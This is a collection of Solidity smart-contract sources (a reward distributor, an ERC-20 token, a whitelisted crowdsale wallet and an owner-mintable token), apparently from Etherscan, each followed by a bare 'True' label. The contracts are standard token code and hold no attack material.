(bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IRewardsDistributionRecipient { function notifyRewardAmount(address _rewardToken, uint256 reward) external; } // A simple reward distributor that takes any ERC20 token, and allows anyone to send/notify reward to IRewardsDistributionRecipient based on governance permission. contract RewardDistributorPermissioned { using SafeERC20 for IERC20; using SafeMath for uint; /* ========== STATE VARIABLES ========== */ address public governance; mapping(address => bool) public distributableTokens; address[] public recipients; uint256[] public percentages; /* ========== CONSTRUCTOR ========== */ constructor() public { governance = msg.sender; } /* ========== RESTRICTED FUNCTIONS ========== */ function setGovernance(address _governance) external onlyGov { governance = _governance; } function allowDistribution(address _token) external onlyGov { distributableTokens[_token] = true; } function disableDistribution(address _token) external onlyGov { distributableTokens[_token] = false; } // Must set recipient and percentages in single tx to avoid discrepency of length function setAllocations( address[] calldata _recipients, uint256[] calldata _percentages ) external onlyGov { require(_recipients.length == _percentages.length, "length does not match"); uint total = 0; for (uint i=0; i<_percentages.length; i++) { total = total + _percentages[i]; } require(total == 100, "total percentage is not 100"); recipients = _recipients; percentages = _percentages; } // Allow governance to rescue rewards function rescue(address _rewardToken) external onlyGov { uint _balance = IERC20(_rewardToken).balanceOf(address(this)); IERC20(_rewardToken).safeTransfer(governance, _balance); } /* ========== MUTATIVE FUNCTIONS ========== */ function distributeRewards( IERC20 _token ) external { require(distributableTokens[address(_token)] == true, "Not allowed to distribute this token"); uint total = _token.balanceOf(address(this)); if (total == 0) { return; } for(uint i = 0; i < recipients.length; i++){ uint256 amount = total.mul(percentages[i]).div(100); address recipient = recipients[i]; // Send the RewardToken to recipient _token.safeTransfer(recipient, amount); // Only after successfull tx - notify the contract of the new funds IRewardsDistributionRecipient(recipient).notifyRewardAmount(address(_token), amount); emit DistributedReward(recipient, address(_token), amount); } } /* ========== MODIFIERS ========== */ modifier onlyGov() { require(msg.sender == governance, "!governance"); _; } /* ========== EVENTS ========== */ event DistributedReward(address recipient, address rewardToken, uint256 amount); }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-27 */ /** *Submitted for verification at Etherscan.io on 2020-02-27 */ pragma solidity 0.4.19; contract RegularToken{ function transfer(address _to, uint _value) public returns (bool) { //Default assumes totalSupply can't be over max (2^256 - 1). if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { revert(); } } function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { revert(); } } function balanceOf(address _owner) constant public returns (uint) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract UnboundedRegularToken is RegularToken { uint constant MAX_UINT = 2**256 - 1; /// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount. /// @param _from Address to transfer from. /// @param _to Address to transfer to. /// @param _value Amount to transfer. /// @return Success of transfer. function transferFrom(address _from, address _to, uint _value) public returns (bool) { uint allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && allowance >= _value && balances[_to] + _value >= balances[_to] ) { balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } else { revert(); } } } contract YOUToken is UnboundedRegularToken { uint8 constant public decimals = 18; string constant public name = "YOU"; string constant public symbol = "YOU"; function YOUToken() public { totalSupply = 1000000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; Transfer(address(0), msg.sender, totalSupply); } }

True

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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TraxionWallet is Ownable { using SafeMath for uint256; // Address where funds are collectedt address public wallet = 0x6163286bA933d8a007c02DB6b0fd5A08629d23f8; // How many token units a buyer gets per wei uint256 public rate = 1000; // Minimum investment in wei (0.40 ETH) uint256 public minInvestment = 4E17; // Invesstment upper bound per investor in wei (2,000 ETH) uint256 public investmentUpperBounds = 2E21; // Hard cap in wei (100,000 ETH) uint256 public hardcap = 1E23; // Amount of wei raised uint256 public weiRaised; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** Whitelist an address and set max investment **/ mapping (address => bool) public whitelistedAddr; mapping (address => uint256) public totalInvestment; /** @dev whitelist an Address */ function whitelistAddress(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = true; } } /** @dev black list an address **/ function blacklistAddr(address[] buyer) external onlyOwner { for (uint i = 0; i < buyer.length; i++) { whitelistedAddr[buyer[i]] = false; } } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); emit TokenPurchase(msg.sender, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view { require(_beneficiary != address(0)); require(_weiAmount != 0); require(_weiAmount > minInvestment); // Revert if payment is less than 0.40 ETH require(whitelistedAddr[_beneficiary]); // Revert if investor is not whitelisted require(totalInvestment[_beneficiary].add(_weiAmount) <= investmentUpperBounds); // Revert if the investor already spent over 2k ETH investment or payment is greater than 2k ETH require(weiRaised.add(_weiAmount) <= hardcap); // Revert if ICO campaign reached Hard Cap } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { totalInvestment[_beneficiary] = totalInvestment[_beneficiary].add(_weiAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } //Github: @AlvinVeroy

True

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// SPDX-License-Identifier: MIT /* ____ ____ ______ _____ / __ \/ __ \/_ __/ / __(_)___ ____ _____ ________ / /_/ / / / / / / / /_/ / __ \/ __ `/ __ \/ ___/ _ \ / ____/ /_/ / / / / __/ / / / / /_/ / / / / /__/ __/ /_/ \____/ /_/ /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ * POT.Finance: HotpotBaseToken.sol * The POT token, an ERC-20 token with owner-only mint function * */ // File: node_modules\@openzeppelin\contracts\GSN\Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\HotpotBaseToken.sol pragma solidity ^0.6.12; contract HotpotBaseToken is ERC20, Ownable { constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} /// @notice Creates `_amount` token to `_to`. Must only be called by the owner. function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } }

True

